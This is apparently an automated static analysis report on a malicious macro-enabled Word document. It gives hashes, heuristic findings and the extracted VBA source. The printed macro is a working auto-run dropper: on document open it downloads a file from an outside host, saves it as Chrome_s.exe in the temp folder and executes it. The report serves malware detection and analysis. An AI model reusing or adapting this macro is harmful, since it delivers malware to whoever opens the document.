Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2073facb48fbe652…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-02-25 08:21:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-03-01
MD5: 827d338fb5350d9d815c8ee7b2e19630 SHA-1: d04e968a816b0a414acbb485f892d35c7feb80b1 SHA-256: 2073facb48fbe652729e1d5b3a8c6e64f553c342168bf73bed6f446a11c1c1bf
238 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell (File) 'run
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
           objStream.Write objReq.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set objReq = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
           File = Environ$("tmp") & "\Chrome_s.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://g.top4top.io/p_1882aeesp1.jpegReferenced by macro
    • https://g.top4top.io/p_1882aeesp1.jpeg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1072 bytes
SHA-256: a7059a661021a3357b9189bd7a0569c86203e76ad418a76fec8a40466be69e09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()

End Sub

Private Sub Document_Open()
summary
End Sub

Attribute VB_Name = "NewMacros"
Sub summary()
'
' summary Macro
'
'
Dim objReq
   Dim objStream
   Set objReq = CreateObject("MSXML2.XMLHTTP")
   objReq.Open "GET", "https://g.top4top.io/p_1882aeesp1.jpeg", False
   objReq.send
   If objReq.Status = 200 Then
       Set objStream = CreateObject("ADODB.Stream")
       objStream.Open
       objStream.Type = 1
       objStream.Write objReq.ResponseBody
       objStream.Position = 0
       Dim File As String
       File = Environ$("tmp") & "\Chrome_s.exe"
       objStream.SaveToFile File, 2
       objStream.Close
        Shell (File) 'run
       Set objStream = Nothing
   End If
   Set objReq = Nothing
   End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 3ad56d9487428b6f6531b1b80ef4d57fcf4de271df177def1cf17aaecd9402af

Open this report in the interactive analyzer, or submit your own file for analysis.